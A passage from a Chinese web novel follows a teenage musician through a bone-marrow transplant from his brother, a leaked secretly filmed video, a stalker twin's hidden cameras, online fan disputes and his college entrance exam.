聊天框静止了一会儿,纪羽正在浏览器输入免疫抑制治疗会不会掉头发,屏幕上方跳出贺思钧的回复。 【J:骨髓移植……】 “骨髓移植的治愈率,有多高?” 纪羽抬头,看纪律凝着眉继续问道:“亲属之间骨髓配型的可能性有多少,配型之后移植成功率又有多少?” 一名医生嘴直口快:“造血干细胞移植治疗肯定是比药物治疗效果更好的,亲兄弟之间全相合的概率最高占25%,父母和子女能达到100%半相合,双方基因的匹配度越高就越不容易发生排异,移植成功后的复发率也低,更不需要长期用药。” 一旁的医生在背后掐了他一把。 纪律将他们表情收入眼中:“那就安排配型检测。” 纪羽撑着坐起来:“我还没同意呢,爸妈年纪都那么大了,拉个口子多疼啊……” 他背后的针口可到现在还是痛,坐也坐不直,躺着也疼。 郝医生忙解释:“咱们现在的骨髓移植是外周血造血干细胞采集,不用像以前那样做全麻,就和抽血差不多。” 纪律看出纪羽的顾虑:“你觉得我跟你配不上?” 纪羽扯着被面:“不是说什么25%的相合嘛……” “25%全相合,50%半相合,相当于匹配的概率是75%,”那个直率的医生补充道,“全相合亲兄弟绝对是最理想的配型,术后并发症概率低,不容易感染。” 纪羽又问:“那其他人不行吗?” “如果有供者的配型能到全相合也是可以的,但有没有,什么时候有,就不清楚了。” 【J:骨髓移植的治愈率高吗?】 贺思钧查过资料,也了解到部分血液病都需要骨髓移植来作为治疗手段。 【J:我可以去配型,我身体很健康。】 【J:我不是说你不健康的意思。】 【J:如果能合上,我的造血干细胞质量可能是最好的。】 【J:下课我就过来,好吗?】 消息不断弹出,纪律若有所察,直直看向纪羽,眼神晦涩:“你想和谁配上?” “你能不能别那么龌龊!”纪羽不顾别人在场随手抓了个枕头砸出去,力气不够半路就坠机了,其他人还没说什么,纪羽自己脸热了,倒回床上,侧身背对众人。 “我需要时间好好想想!” 郝医生习以为常,乐呵呵地:“好好好,那咱们先出去吧……快走吧,钱主任!” 钱主任手插兜板着脸转身,离开病房前还道:“看来激素对情绪的影响相对较大,还是调整一下用药量——郝主任你不需要推我,我自己会走!” 第97章 当晚纪泽兰和徐梁在纪律的坚持下共同敲定了主意, 一周后纪羽被送进移植仓。 当晚纪羽在病房内独自看了《乐队象限》的直播。 蔺瓒和承风的表演中规中矩,实在是尽力磨合过,看得出努力的迹象, 但实在没办法,不合适就是不合适。 纪羽还没见过辽光在舞台上脸黑成这样, 截屏发到了群里。 直播有延时,现场比直播要快近十五分钟。 【和气生财(6)】 【辽光:导播会不会切镜头,我有那么丑?】 【辽光:终于把这尊大佛送走了, 幸好你不在, 不然得气死!】 【辽光:小矮个事儿还挺多,人前人模狗样的, 背地里喝个水这个那个的, 不喝矿泉水要喝纯净水,还不要瓶装的, 得是桶装的, 水都喝脑子里了[棒]】 老麦跟了个大拇指。 【曲坚:还在录制呢,手机都给我放下去, 还嫌被拍得少了。】 【Yv:决赛时间定了吗?】 【贝旬:五月二十日决赛, 你现在怎么样?】 【Yv:挺好的,马上就移植了, 等我出来就来找你们汇合[得意]】 【贝旬:好。】 【老麦:少上网,多休息。】 【辽光:什么时候能见生人啊, 哥哥给你买个大果篮去。】 什么见生人, 他又不是什么待嫁大闺女, 纪羽嘴角抽了抽。 【Yv:你能有点文化不?】 【曲坚:别理他,状态好的时候录个视频给乐迷定定心,我发给节目组剪进VCR, 不露脸出个声也行。】 纪羽回了个OK。 病房玻璃被轻轻敲动,贺思钧晃了晃手上的手提袋。 没一会儿,护士将东西消毒后送了进来。 隔着玻璃,贺思钧的声音听不真切,但他的神色很认真。 “……粉丝送的信……还有……我好想你……” 药物对他情绪影响还是太大了,不然他是不会被贺思钧越来越熟练的表白触动的,尽管只有一瞬间,纪羽也很想说: 我也有一点想你。 不过。 只有一点。 或许他更想的是病房外的世界。 很快到了回输当天,纪羽觉得自己还挺幸运,生病至今也没做过手术,放疗只是让他难受和吐,头发还好好地长在他脑袋顶上没让他变成一个卤蛋。干细胞输注的两天里,他只是躺着发呆直到睡着。 醒来后纪律来了一趟,全副武装的。 全相合的匹配度让纪律一跃成为纪羽的“救命恩人”,这大概也是纪羽在纪律身上吃到的最大的好处。 “你可以进来吗?” 纪羽在发热,身上还是痛,尤其是他的腿几乎不能弯曲,医生检查过说轻微酸痛是正常的,可能是心理作用导致他过于敏感,让他别紧张,多试试转移注意力。 纪羽好不容易见到医护以外的人,还是刚给他捐了干细胞的他亲哥,态度是近几个月来前所未有的和缓。 纪律听着他绵软无力的语气,恍惚间好像是在某个寻常的早上打开房门,阻止纪羽继续赖床。 那时候纪羽说话像撒娇一样,好像多睡几分钟是他最大的心愿。 纪律没有站得太近,保持了两米以上的距离。 “今天感觉怎么样,有没有好一点?” “应该好一点吧,”纪羽撑起点精神打量纪律,看他腰背挺直面色不说红润也属于正常,“你不应该也躺在床上休息吗?” 纪律反应过来,纪羽问他怎么能进来原来真是在关心他。 “你身体弱,反应会比较大。” 意思是他身体好,所以没什么事,缓一缓就好了。 “哦……”纪羽说,“你别让爸妈每天来了,在外面站着我又看不到,给我打视频就好。” “好。” 纪律其实明白,纪泽兰和徐梁只是想离纪羽近一点,能亲眼确认纪羽的安危就好。 纪羽精力不济,纪律又像医生查房似的问他身体这儿怎么样那儿好不好,他答得烦了,就装睡不应声。 纪律收了声,却没有立刻走,纪羽只好继续装,装着装着就又睡了一整天。 病房里的时间变得模糊,纪羽进来前想得美好,要利用一个人独处的时间多刷几道题,实际难受起来他连看手机都很费力,每天除了躺着就是坐起来喝点汤汤水水的,就连这样,他还是每天三五顿地吐。 病房外谁来过谁走了,他只有个模糊的印象。 在移植后第六天,纪羽终于能攒出精力做两套题,多亏了他在脑子里还记着考试题型,坐起来还算顺手。 批改订正后纪羽想起来贺思钧带来的那一兜子信还没看完。 他整理了心情,抽了几张纸巾在手里,才一封封打开继续看。 翻到其中一封,纪羽顿了顿。 信封里没有信纸,只有几张相片。 是攀了满墙的铁线莲。 淡紫色的花卉越往上越繁茂,绿叶托起花瓣,细长的藤蔓交缠。 花开了。 栽在公园里的铁线莲多长了几年,开得更繁茂些,但纪羽还是喜欢爬在他家围栏上的那一丛。 相片夹层里掉出几片散落的花瓣,经过处理,已经没有了香味,颜色也更加深,纪羽捧着那几片花瓣生怕吹跑了,不敢大喘气,又小心地将它们塞回信封里。 相片则被压在了枕头底下,这是贺思钧送来的,不用纪羽心惊胆战藏起的第二封情书。 两天后,承风微博账号发布内容。 【承风WinG:大家好我是阿雀,近期因为我的身体原因暂时退出了《乐队象限》节目录制,很抱歉对承风及喜欢承风的乐迷朋友们带来的影响……我会尽快恢复乐队活动,也特别感谢大家对我的理解和鼓励,我非常非常非常想你们![图片]x9】 【真是阿雀吗,这个和我撒娇的是我的贝斯宝宝是吧是吧是吧!】 【不要说抱歉啦,生病又不是你想发生的,健康就好,会一直等你!】 【承风都很好,少了谁都不行,等你回来[期待]】 【天啊还写了回信,我真的不行了……】 【老子不爱吃鸡翅尖:这字那么好?代笔吧,半个月不上台还能洗,乐队有你没你有差吗?】 【老子不爱吃鸡翅尖:去年因为你决赛失利,今年又因为你有几次舆论了?一半的黑水都是你招来的,决赛要是又来不了你打算怎么办,你负得了责吗?】 【@承风WinG 能不能把这个鸡翅的小号也拉黑啊,一天到晚发疯,阿雀都说了是身体问题啊,能不能别那么过激,无语死了。】 【老子不爱吃鸡翅尖:我有说错吗,其他乐队嘴都笑歪了吧,收收你的白莲花茶味行不行,在节目里演还不够,还想卖惨到什么时候,觉得承风围着你转还不够吗?】 …… 【不踩瓜不甜(243)】 抬头赤壁:【[分享微博]】 抬头赤壁:【看热评】 别说她是男人好吗:【[截图]】 别说她是男人好吗:【我咋感觉鸡翅大妈说一大堆就是为了说最后一句啊。】 雀雀乐:【真相了!】 老天奶不公:【所以到底是什么病啊,听说好像很严重,我真的有点想哭了……】 老天奶不公:【本来看第五期节目我还嗑爽了,梁狗是真孝子,筷子给掰,水给灌,打不还手,骂不还口,还以为终于能吃到口好的了,没想到……】 我的人生风风风风风雨雨雨雨雨:【能不能别嗑血糖了,梁子尧算什么好瓜,没实力只会在后采一直说说说说,要不是他说出来我都不知道阿雀晚上不下班就是在教他[无语]纯是被累病的,还有脸提,倒贴拉磨我都看不上……】 一脚踢爆番茄:【@老天奶不公你再看看群名呢,别那么纯良行吗,都什么时候了,你是歪屁股产品鸡批皮吗?】 抬头赤壁:【李良和刘平平他们都评论了,捞一下再点点前排,压一下热评,别在楼中楼回复了!】 【1】 【1】 【1】 老天奶不公:【1,对不起啊我可能说错话了,我情商比较低,我就是不知道怎么表达,就是感觉风评明明都好起来了,一切都特别好的时候出了这种事有点接受不了,不是想嗑血糖,今天看到他发微博道歉有点激动,对不起。】 雀雀乐:【好了没事,其实我感觉阿雀比我们稳得多了,今天发的微博明明就是在撒娇啊,说什么特别特别特别想你们,萌死了……】 每天一杯奶茶:【字写得这么大家闺秀,结果完全生病小娇妻语气,我一边哭一边立。】 一脚踢爆番茄:【好想把这只鸟捧起来嗦肚子,好乖好乖……鸡翅姐是深柜吧每一条有提到阿雀的微博都去评论了,谁知道她到底怎么了?】 别说她是男人好吗:【实不相瞒,我还关注了她,顺着她评论不会漏掉要点赞的帖子,她搜物料比大粉还快。】 抬头赤壁:【确实。】 别说她是男人好吗:【发了发了发了发了发了发了……】 每天一杯奶茶:【?】 别说她是男人好吗:【[分享微博·老子不爱吃鸡翅:没见过白莲花绿茶婊的可以来这个视频看看//乐队象限官微:承风有话想说……]】 别说她是男人好吗:【直接拉到最后。】 视频点开,像酒店样板间的背景中,戴着白色口罩的少年开启视频后退开,下意识抬手摸过头发后立刻放下,嗓音很轻有点哑,对着镜头挥了挥手:“大家好,我是阿雀,很感谢大家的关心……” 雀雀乐:【他还是那么爱说大家好T.T……】 别说她是男人好吗:【瘦好多,穿浅色衣服薄薄一片显得好虚弱好可怜怎么办……】 每天一杯奶茶:【我一边感叹怎么那么美萌一边唾弃自己、】 抬头赤壁:【人之常情,因为我也[捂嘴哭]】 群情难抑之际,不敢再随意发言的老天奶不公漫无目的地刷新着主页推荐,下一秒,一个模糊的偷拍视频在屏幕中自动播放。 第98章 曲坚接到电话时还在睡梦中。 “喂, 有事请讲。” 下一秒,他从床上腾坐起身,错手扯断了几根长发。 “好, 好,我马上联系, 随时同步消息。” 顾不上刺痛的后脑勺,曲坚立刻打开微博界面,成千上万的后台消息涌入。 【@承风WinG 出来说话啊, 不知道发声明, 只会躲在生病的成员后面是吗,你们还有心吗?】 【@承风WinG 删视频降热搜, 安抚粉丝, 不要让事情再扩散了!】 【退赛!从上节目开始就没有过过一天舒心日子,靠牺牲成员得来的名气不值得!如果还有良心就应该及时止损!@承风WinG】 【我心都要碎了, 血一下子就从口鼻里涌出来了这还叫没事吗, 能不能出来说句话@承风WinG】 【@承风WinG 不是下午还让生病的人出来安抚粉丝吗,现在该到你们发声的时候怎么哑巴了@承风WinG】 【@承风WinG @承风WinG @承风WinG】 曲坚点开评论区上方视频, 画面经过多方转载不算清晰, 但还是能看出是在《乐队象限》的排练室内,穿着黑衣黑裤的男生用手盖住脸, 血血滴从指缝中渗漏。 镜头一转,画面拉远, 男生又到了室外, 背对着拍摄者, 靠着一个穿着校服的男生站着,正和面前的男人交谈。 没一会儿,校服衣摆处晕开鲜红色血迹, 男生站立不稳地躬下身,拍摄者有了动作,向着男生所在的方向跑了几步,因此男生的脸也在视频里逐渐清晰。 血迹滴流不止,从苍白尖俏的下巴滑过,淌进深陷的颈窝。 男生哇然吐出一口血,上身不受控制地像一旁倾倒,穿校服的男生早已搀住了他,此时顺势一把将他捞起,固定住男生不断向后倒伏的头颈,在男人的配合下将他抱进了车里。 车辆渐远,拍摄者如梦初醒般迈步,血迹还残留在地面,湿润着暗红。 视频就此结束,自动跳转至下一条。 曲坚当然认得这其中的主人公是谁,但问题是,这段视频究竟是谁拍摄的? 又为什么会在此时流出? 摆件散落一地,四周随处可见变形的家具器物。 梁子尧将莫满一把掼到桌面,目眦尽裂:“你在我身上装了摄像头?!你疯了!” 莫满顶着与施暴者同样的面孔,神情中满是淡然,他一挑眉:“是你不答应和我交换,我告诉过你后果了。” 他就是个疯子,即便是到现在也没有一丝悔改,仍然在叫嚣着自己获得的还不够,远远没有达到他的预期。 梁子尧后退了一步,碎瓷卡进了鞋底,摩擦地面发出尖锐刺耳的声响。 梁子尧后悔了,他明明知道莫满不正常,为什么要掺进来,为什么要好奇,如果他不参与,或许事情不会发展到今天的地步。 “你为什么要把视频发出去,你知道所有人很快就会锁定我,到时候雷暴云的所有人都不会好过,你以为你能逃得脱,你以为自己可以置身事外?” 视频曝光后,梁子尧惊怒不已,他是不够安分,但远远不到丧心病狂的地步,当时站在那个角度的人只有他,纪羽看到视频会怎么想? 看到自己满身狼狈的病态暴露在大众视野,牵连承风受责难,这笔账难道都要记在他身上? 是莫满害的,他从没想过要害纪羽,他只是想玩一玩就抽身…… 对,得先和纪羽解释,是莫满做的,是他抢走你的位置,是他用拙劣的手段模仿你、模仿我,是他把玩弄感情当做乐趣。 从头到尾,即便我有错,莫满也是最大的罪魁祸首。 “你以为我只做过这一次?从一开始,我就在通过你看着他了,你到现在才发现,蠢货。” 莫满轻佻的语气瞬间激怒梁子尧,他将莫满拎起,莫满回视着,依旧没有畏惧:“你猜是谁在帮我?” 梁子尧眼前飞速闪过梁晟杰慈爱的脸,面部肌肉抖动,全身力气像被抽空,他松了手,低吼道:“闭嘴,你还想说多少谎?” 莫满和他体型相当,能被轻易钳制自然是他没有做出反抗,他笑了一下,挥拳砸向梁子尧面中。 两行鼻血顿时涌出,梁子尧捂住剧痛的鼻梁,怒然而视。 隐去表情后莫满的神态呈现自然而然的漠然,隐约透着令人毛骨悚然的癫狂。 “视频不是我流传出去的,你在犯什么蠢。” “是我蠢还是你有病?!” 梁子尧大声斥责:“你明知道这一被发现会是什么后果,但你还是没守住秘密,你多聪明,你觉得所有人都得被你玩得团团转,现在呢,你要怎么收场,你还能玩得下去吗!” 莫满也毫不留情:“你没跟出去做多余的事,怎么会被人拿到把柄利用?” “你难道一点就没有错!”梁子尧简直不敢置信,站在他面前的到底是什么东西,莫满没有丝毫悔改,也从不认为自己有错。 永远都只有别人背离他的预期,而他自己,似乎永远是完美无瑕! “如果没有我,你以为你能进雷暴云?”莫满轻忽地说道,“从小到大你抢了我多少东西,我都不计较,纪羽是我先发现的,我给你机会了,是你不中用啊。讨饭的狗还知道摇尾巴,你呢?” “莫满。”梁子尧啐了一口,“我发现你真是够不要脸的,人怎么能自信到这种地步?是爸安排的你和我,你算个屁,你什么都不是,你除了会在背后搅弄是非还会干什么?你永远和阴沟里的臭虫一样见不了光!” 见莫满神色渐冷,梁子尧自知踩中了莫满的痛点,乘胜追击道:“你以为自己运筹帷幄稳操胜券,现在呢,他对你有一个眼神吗?开庭材料准备好了吗,你说到时候你站在被告席上纪羽会不会看你一眼,他骂你一句你就爽得不行了吧,你是不是下边有问题啊,得靠别人刺激你才能有感觉?” “现在见不了光的是你!”莫满厉声道,“你现在在干什么,你以什么资格指责我?你也想告我就去告吧,去看看爸会不会拦着你,别自以为是了,摆清楚自己的位置。” 他语气陡然转向轻佻,声音也近乎于气声,带上了讽刺般的笑意:“你这么激动,我还以为你喜欢上纪羽,但是被我绿了呢……龟、男、哈哈哈哈哈!” 下颚因用力闭合而酸软,与挫裂的鼻骨一同拉扯着紧绷的神经,梁子尧落下一眼瞪视,摔门离去,空寂的房间中只余莫满愈发短促的笑声。 森冷的笑声截然而止,无视一片废墟,莫满推开隐藏门,踏入他的手工室。 室内是一个近乎完全封闭的空间,墙角矮桌上堆着数块起了型雕到一半的木料,地面散落一地的金属配件,有些因保存不当已经有了锈迹…… 房间最里面是一台组装电脑,几块显示屏不间断播放着监控片段,无一例外,片段的主人公都只有一个少年。 纪羽躺在训练室地板上发呆,纪羽在后台调试设备,纪羽偷偷玩键盘,纪羽在走廊背着摄像吃药…… 真有意思啊,笨到不知道天花板上也会被人装满监控。 梁子尧只不过是他更为灵活的一个工具罢了,有时候从他的视角看纪羽,还真是会给他带来很多新奇的感受。 这是他的新乐子,他还没玩够,是谁破坏了这美好的平衡?- 纪羽盯着不断闪烁的红点,对护士问道:“这个监控可以关掉吗?” “不可以哦,”护士抱歉地说道,“为了确保病人的安全,监控必须24小时开启并时刻有医护人员关注,不过如果您觉得困扰可以拉上垂帘或者由我们调整角度,您觉得怎么样?” 纪羽看了一眼近乎透明的帘子:“调整角度就不会照到我了吗?” “会的哦。” “好吧,那算了。”纪羽软趴趴地倒回床上,“监控只有你们能看吧?” “当然,为了保护病人的隐私,所有观看监控的人员都需要签署协议,这点您可以放心。” “出多少钱都不给别人看吗,万一家属说要看呢?” “不会给的。” 纪羽放心了:“谢谢你,我没有事儿了。” 张护士对他笑一笑,任何人都喜欢事少配合的客户,做医疗这一行的自然也是。 纪羽住进层流病房的这半个月来,不管身体状态怎么起伏,态度始终如一,相当地配合治疗,这里的护士都格外喜欢他,每回出来都在比较:“今天1号床对我说了三句谢谢。”“对我说了五句!” 张护士今天获得了五句感谢成就,语气很是温和:“有任何不舒服都可以马上叫我们进来,好好休息,很快就能出去了。” 纪羽对她弯弯眼睛,又说:“好的!” 病房门自动关合,纪羽似乎接通了电话,用一种从未对护士表露的娇纵的语气说道:“我在准备考试嘛,上次跟您说啦,领导很看重模拟高考,不让我们请假了,我过几天放假就去看你呀……” 第99章 巴文旭接受了化疗, 头发稀疏,杂草似的立在头顶。巴清和为表孝心,一琢磨把自己脑袋剃得锃亮。 巴文旭说他脑袋让驴踢了, 表示自己坚决不剃发,有几根毛能留着都是它自个儿的本事。 纪羽表示认可。 “你人在哪儿呢, 边上怎么一直有声儿?” 纪羽心虚地眨眨眼,他出不去病房,找了面墙蹲着接电话, 各种仪器还接在身上呢。 “没啊, ”他左右装模作样地观察一阵,“我没听到。” 巴文旭似乎有所察觉, 又接连问了几句, 纪羽半撒娇半敷衍地糊弄了过去。 挂断前巴文旭对他道:“叫纪律去我院子里把葡萄藤修修,让他别没事隔三差五拉拉个脸来。” 纪羽揉着膝盖站起来, 琢磨了一阵巴文旭话中是不是有深意, 没想明白,全身没力气, 倒在床上就睡了过去。 一睡就是两天, 醒来时护士正用水润湿他的嘴,纪羽缓了一会儿才意识到要吞咽。 可随之泛上来的是剧烈的恶心, 全身胀痛,纪羽潜意识里认为自己是只即将爆炸的气球。 比放疗还要难受得多, 纪羽一根手指也抬不起来, 眼泪却是一刻不停地淌, 年纪最大的张护士给他垫纸巾,轻柔地拍拍他,纪羽想起纪泽兰, 哭得更起劲了。 张护士告诉他他的身体里的细胞数在上涨,说明他快好了,让他放轻松,纪羽挺想说话回应,但没等张口又没了意识。 真正好转起来是几天之后,在此之前,纪羽连醒转听人说话的力气也没有。 “还是妈妈来了有效果,一来人就稳定了。” “还是感谢你们的照顾,小宝能好起来多亏了你们尽心尽力地治疗,我会向院方反馈,为爱山追加投资,也希望能给你们带来一点帮助。” “这都是我们应该做的……” 纪羽睁开眼,纪泽兰就止了话头,俯下身攥住他的手:“怎么样,哪里还难受?” 纪泽兰戴着口罩帽子,只露出一双关切的眼睛来,纪羽抬手碰了碰她的口罩,纪泽兰隔着口罩亲了亲他的手背:“不能摘,就这样待一会儿好不好?” 轻微的浮肿令纪羽的脸上多了些肉感,眼睛眨也不眨地看着纪泽兰,有点呆,又很乖,纪泽兰怜惜地摸着他的头发。 护士对他很好,在他半昏迷期间的清洁都没有落下,想起纪羽刚出生那几年她也曾不假人手地照料,纪泽兰心里不好受,几乎要落泪。 见纪泽兰偏过头去,纪羽忙不迭抓住纪泽兰手腕,尽管在外人看来他的动作还是很缓慢,纪泽兰还是察觉到他的着急,忙回身安抚:“没事,没事,不着急。” 纪羽看着她,缓声开口,一字一字说得缓慢:“妈妈,我不会再生病了……” 纪泽兰怕他有心理负担,鼻酸之余又是好一阵安慰,可惜时间有限,十分钟后她就被请了出去,临走时纪羽对着她搞坏地皱了皱鼻子,然后笑了笑。 小时候纪泽兰就是这么逗他的。 纪羽说到做到,这次昏迷后身体数据平稳下来,数值一天比一天好看,十六天后,纪羽顺利出仓,回到了普通病房。 在此期间,《乐队象限》发布公告宣布无限期停更,各路粉丝吵得天翻地覆时雷暴云乐队吉他手露脸,指控同胞兄弟贝斯手冒充其身份侵/犯他人隐私,发起诉讼。 跳窗户乐队主唱受到检举,因嫖/娼被行政拘留十五日,乐队其余成员在其供述下均接受调查。 纪羽刷新热搜页面,面露茫然:“我穿越了?” 纪律调整输液速率:“关于你的偷拍视频是在基地内部被泄露,节目组有义务排查,梁子尧和莫满这一出狗咬狗大概就是演给你看的。” “什么我的偷拍视频?” 纪羽这些天浑浑噩噩,根本没有心力关注网上发生什么,节目组创建的大群里又格外安静,其他人日常发消息也只是问候,纪羽理所当然地错过了关于自己的风波。 没想到自己干了一件多此一举的蠢事,纪律:“……” 见纪律不说,纪羽也不理他,自己翻身裹到被子里查。 视频过去了好些天,热评已经换了一批。 【@ 承风的你们左右晃晃脑袋,看会不会被自己的猪耳扇到脸,演什么呢?乐迷都知道承风没有公司所以账号一直都是成员轮流管理,后来才有的经纪人,拿官博当公司日了?】 【下水军也讲点基本法吧,不骂偷拍的也不骂节目组,反而是劝承风退赛?】 【阿雀自己又发视频又是写信回应的,一个个都像瞎了一样看不见,辜负他努力的人都去死吧[微笑][微笑]】 【停更了也好,现在的赛制对得起哪个乐队,上期找歌手来合唱是把乐队当伴奏了吗,个别几个爱拉踩自吹自擂“神级现场”的歌手我都不想说,上不了《歌王》在这过瘾了。@乐队象限官博热搜天天上,节目热度涨了吗,大家难道真是想看你们剪三流剧本?】 【支持,临时拆乐队像玩似的,除了给节目增加劣俗冲突以外对乐队发展有什么好处吗,没达到预期就装无事发生,又拼回去了[无语]】 【流鼻血是因为压力太大了吧,看节目录制时间都很晚了,说真的,其实小乐队根本赚不了多少,能有这么大的节目上已经算是非常幸运了,拼一点是正常的。但节目组做法太恶心了,把人当软柿子捏,如果承风第一赛段没撑住有一点失误就会被喷死,后续也是靠他们自己才扭转风评……】 【看出血量应该不是消化道出血,可能是鼻血出得太急止不住呛到喉咙里了,鼻腔内血管破裂可能性比较大,希望不是小概率事件。】 【听说还是高三生啊,在宁海市最好的高中上学,又要念书又要录节目,太累了,现在出了事都不知道会不会影响高考,唉,也不知道说什么了,祝他早点康复吧。】 【希望警方介入彻查一下吧,这个视频距离太近了,角度也很刁钻,虽然只放出两段但不代表只有这些素材……】 最后一条评论受到大批转发,纪羽此时再将这件事和梁子尧揭露莫满的行径结合起来,还有什么不明白的,立刻起了一身冷汗。 他已经搬出了布满监控的移植仓内,却仍然升起时刻被人监视的错觉,这是比植入定位更让人毛骨悚然的恐惧。 是莫满干的,把视频发出去?可他为什么要那么做,为了让别人欣赏他的丑态,是报复? 纪羽眼睛刺痛,心率噔噔噔加快,张开嘴呼出的水汽模糊了屏幕。被子被拉开,纪羽睁大眼睛和纪律对视。 “别捂着。”被子轻轻落下,搭到肩膀下,纪羽呼吸畅快了些 “是他干的吗?” 纪律抽走手机,轻轻放在床头:“会有人查清楚。” 纪羽抬头,问:“你会让他坐牢吗?” 他清楚有时候光凭决心解决不了任何问题,只要有人,就有可以运作的空间,这正是莫满为所欲为的底气。 纪律停药的后遗症反扑,最近时常回忆起从前,看着纪羽的眼睛,他想到纪羽戴着小黄帽背着书包和同学叽叽喳喳地吵。 纪羽挺起胸脯,趾高气昂道:“我哥哥要当大法官了,比你爸爸妈妈都厉害!” 纪律隔着人喊他,纪羽眼睛一亮,相当响亮地喊他:“哥!哥!” 纪羽两只小手紧紧地攥住他,纪律被他牵着走到另一个矮萝卜面前。 “他说他爸爸妈妈是警察,要把我抓起来,明明就是他先抢了我的糖还不说谢谢!” 纪律不想掺和小屁孩的小事,纪羽总以为他念法律就会成为法官,经常在家拿着小木槌升堂问他学得像不像。 当然就算他成为法官,也不会为纪羽给另一个小孩定罪。 但他不说话,纪羽的嘴就瘪下去,眼睛还是亮,却是流动着水光。 于是他只好在另一个小孩也哭出声前让他给纪羽道歉。 纪羽倒是抱了抱那个小孩,回去的路上却不牵他的手了,法官的小木槌也被他丢到纪律房间的垃圾桶里。 纪律的迟疑让他很伤心,纪羽不喜欢他的不坚定。 但至少那时候纪羽还会第一时间向他求助,现在呢,在他我行我素和一走了之的时间里,纪羽在向谁伸出手? 这不是该继续的问题。 纪羽还在等他的答案。 “我会让他坐牢,无论用什么方法,他会为自己的行为付出代价。” 纪羽不过随口一问,被他突如其来的认真唬住,半晌儿后才道:“哦……” 他翻过身,看到纪泽兰和徐梁投来的探究的目光。 “……” 纪羽心里其实还做着准备呢,等着纪律秋后算账质问他为什么放任自己的身体衰弱,等着纪律问他为什么不懂保护自己,等纪律藏不住真面目爆发。 但纪律又好像没他心里想得那么坏,又有可能纪律是真的在改了。 纪羽又想到了贺思钧,他发现贺思钧好像很久都没来看他了。 他在几人紧张的问声中突然坐起身,回想隔着玻璃贺思钧看向他的眼睛 “我好想你。” 眼中荧荧亮光像天将明未明之际,浮现的一抹灰。 高考倒计时34天。 “贺思钧人呢?” 第100章 贺思钧消失了。 虽然很不可思议, 但就是这么回事。 纪泽兰、徐梁对此闭口不提,纪律更不会提起任何让纪羽情绪不稳定的因素。 纪羽需要隔离人群,因此也无法返校, 展舒文告诉他,贺思钧从上一次休息日后就再也没出现了。 纪羽试过给乔青燕打电话, 但很少接通,后来她接起电话,就说一切都好, 不用担心。 再后来则是纪泽兰告诉他, 贺思钧一家人已经搬走了。 电话彻底打不通了。 纪羽从医院回来后想过偷偷溜出去,不过再没去年的那份好运气, 他走不了多远喘气声就大到吵醒整栋楼。 节目停录, 贺思钧走了,纪羽一下子丢开了两重烦恼。 只剩下高考近在眼前。 “贺思钧呢, 他不高考了?”纪羽放下筷子。 所有人都跟着纪羽一起停下动作, 以一副异常小心、斟酌又沉重的神情做出试图解释的姿态,纪羽突然感到厌倦, 起身回到了自己的房间。 桌面是摊开的题册, 纪羽想写字,让医生将PICC管埋在了左臂, 除了手臂不能过度活动外,没有明显的异物感。 但此时, 酥麻的痒意从左臂开始向上攀爬, 安装上这条连接到心脏附近的长管那天, 贺思钧在门外等他,完成安置后纪羽对他比划长度。 贺思钧把手贴到玻璃上,隔着玻璃丈量, 在他的比划下,纪羽发觉几乎穿过他半身的导管也很短,只有贺思钧两拃长。 这根不痛不痒的长管却在此时生出难以忍受的麻痒,纪羽把入针周围挠得红肿还是止不了。 这大概和所谓的思念什么的没多大关系。 在移植仓里纪羽也会无止境地想回家、想妈妈,尽管后来纪泽兰来了,这份焦急的渴望依旧没有好转,但他意识到了什么这一切都是什么在作祟,所以情绪又慢慢回落。 贺思钧的离开无声又迅速,毫无拖沓,没有只言片语的征兆。 简直就像……死了一样。 高考倒计时十天。 纪羽还没出过门,前些天纪律请医生上门做了复查,其余人一律被谢绝上门。 纪羽向巴文旭坦白了病情,巴文旭头发掉完了,躺在病床上向他哼气说他早就知道了 纪羽说他暂时不能去看他,巴文旭说很公平,他也来不了。 夏天来临前,有两支乐队的名声响彻大江南北——跳窗户和雷暴云在社交平台互相攻讦,声明爆料一个接一个地放,引起轩然大波。 不过更准确一点,应该是他们双方的粉丝对线激烈。 不过这事和纪羽暂时无关,他把上一届“进步之星”葛欣的笔记翻了个透,还整理了自己的想法,距离考试越近,他精神越是振奋。 见他斗志昂扬,纪家人都将劝解安抚的话吞进了肚子。 6月7日,是个晴天,纪羽穿上校服,走入考场。 申请的特殊考场里只有他一个学生,教室里空荡,考务老师格外小心地放轻了脚步。 考试一共持续了四天,地理作为最后一门科目,押住了最后一批考生。 出考场时,天色是一抹灰,快要下雨,大批量考生都已经撤走,没听见欢呼声,高三猝不及防结束得轻飘飘。 纪泽兰、徐梁在门口等他,纪律站在他们后边不远处,像两家人似的。纪泽兰怀里抱着玩偶做的花束,纪羽早上就发现了,它们被一个个放在杀菌消毒柜里的样子实在傻得要命。 他还是做出一副惊喜的模样,走上前去高兴地接过了礼物。 玩偶用软软的布嘴壳亲吻了纪羽的脸颊,纪泽兰没有亲他,怕外面的细菌千呼百应地朝着纪羽扑来,甚至来不及留一张合照就赶着回家。 纪羽一只脚踏上了车,隐隐听到有人在喊他的名字,他转身看到两个人影向他招手。 展舒文跑得快,离纪羽几米远站定,气喘吁吁地摆手:“纪羽……呼……纪羽呼呼……” 柳承长胖了一圈,脸都肉了,声音还是低:“还好你没走……” 展舒文和柳承上午就考完了,废了一番功夫才从李玄那得知纪羽所在考场,紧赶慢赶跑了过来。 纪羽看他们大喘气,忍不住笑:“你们干嘛呢!” 展舒文:“见见你啊,我听班里其他人都这样,顾英杰说他要接潘玥出考场,他们俩准备复合了。” 柳承补充:“现在可能已经复合了。” 纪羽则道:“那也不一定。” 灰白的天色下飘起雨丝,纪羽抬头看一眼:“你们是不是有什么话想和我说?” “没有啊。”展舒文说道。 纪羽:“……” 柳承挠挠头:“就是想见你一面。” 纪羽:“就见一面?” 展舒文:“以前吃饭都要等你一起走。” 每次考试前纪羽都要提,考完一起吃饭,不过这次考完之后怕是不能再回食堂了。 最艰苦的一段日子最后也没一起度过,纪羽心里泛上一阵感伤,主动走近和展舒文、柳承抱了一下。 柳承动也不敢动,展舒文回抱了他一下退开数步才吐上一口气说道:“一个礼拜后的毕业典礼你是不是来不了了?” 纪羽点头:“嗯,我还去不了人太多的地方。” “好,那就等你好了再一起出去玩,我想去大连。” “大连不也是海边吗?” “大连的海不一样。” …… 回到家后,纪律把他衣服全都换下消毒,纪羽拆下手臂的防水保护套清清爽爽躺到床上,被子盖到下巴,扁扁一片地瘫着。 “贺思钧死了吗?”他冷不丁冒出一句。 纪律已经有段时间没听他说起贺思钧,收拾房间的动作一时顿住:“谁跟你说的?” “我自己猜的。” 